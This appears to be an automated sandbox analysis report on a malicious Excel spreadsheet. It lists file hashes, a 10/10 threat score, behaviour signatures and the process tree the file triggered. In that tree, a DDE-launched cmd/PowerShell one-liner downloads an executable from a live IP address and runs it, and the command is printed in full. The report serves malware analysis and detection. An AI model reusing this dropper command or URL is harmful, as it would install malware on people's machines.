Analysis

  • max time kernel
    132s
  • max time network
    107s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 21:40

General

  • Target

    7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199.xls

  • Size

    25KB

  • MD5

    f1c80a738722554b91452c59adb2f27d

  • SHA1

    a768bd41c189e9304d17c7dbf697a1d04971d441

  • SHA256

    7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199

  • SHA512

    e31c0e292abe32777190475267897a6ffac2c1613971a33c3fe28a66e6c33f03b41bfaf9092a1db2d45618d2c7edd8339c10ef92fe784e4c993bd8533d0f2600

  • SSDEEP

    192:1Ha439gyLPUV+/T/D/Ns0+PKY1l6Lpb9KX+lTf5eKIHiZyFwDRa:A+Lb60+eh9iefY

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://92.63.87.40/aksjdderwd/asdbwk/dhoei.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\7ba4185afb16c7ca54fbb488a2d19e55825a3de688baed1d5497964711edd199.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Windows\SysWOW64\cmd.exe
      cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.87.40/aksjdderwd/asdbwk/dhoei.exe','%TEMP%\oUhjidsf.exe');Start-Process '%TEMP%\oUhjidsf.exe';
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.87.40/aksjdderwd/asdbwk/dhoei.exe','C:\Users\Admin\AppData\Local\Temp\oUhjidsf.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\oUhjidsf.exe';
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:944

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/944-71-0x000000006C130000-0x000000006C6DB000-memory.dmp
    Filesize

    5.7MB

  • memory/944-70-0x000000006C130000-0x000000006C6DB000-memory.dmp
    Filesize

    5.7MB

  • memory/944-68-0x000000006C130000-0x000000006C6DB000-memory.dmp
    Filesize

    5.7MB

  • memory/944-66-0x0000000000000000-mapping.dmp
  • memory/1736-65-0x0000000000000000-mapping.dmp
  • memory/1792-58-0x00000000760A1000-0x00000000760A3000-memory.dmp
    Filesize

    8KB

  • memory/1792-54-0x000000002FE21000-0x000000002FE24000-memory.dmp
    Filesize

    12KB

  • memory/1792-61-0x0000000000372000-0x0000000000376000-memory.dmp
    Filesize

    16KB

  • memory/1792-62-0x0000000000372000-0x0000000000376000-memory.dmp
    Filesize

    16KB

  • memory/1792-63-0x0000000000372000-0x0000000000376000-memory.dmp
    Filesize

    16KB

  • memory/1792-64-0x0000000000372000-0x0000000000376000-memory.dmp
    Filesize

    16KB

  • memory/1792-59-0x0000000000372000-0x0000000000376000-memory.dmp
    Filesize

    16KB

  • memory/1792-60-0x0000000000372000-0x0000000000376000-memory.dmp
    Filesize

    16KB

  • memory/1792-57-0x000000007231D000-0x0000000072328000-memory.dmp
    Filesize

    44KB

  • memory/1792-69-0x000000007231D000-0x0000000072328000-memory.dmp
    Filesize

    44KB

  • memory/1792-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1792-55-0x0000000071331000-0x0000000071333000-memory.dmp
    Filesize

    8KB

  • memory/1792-72-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1792-73-0x000000007231D000-0x0000000072328000-memory.dmp
    Filesize

    44KB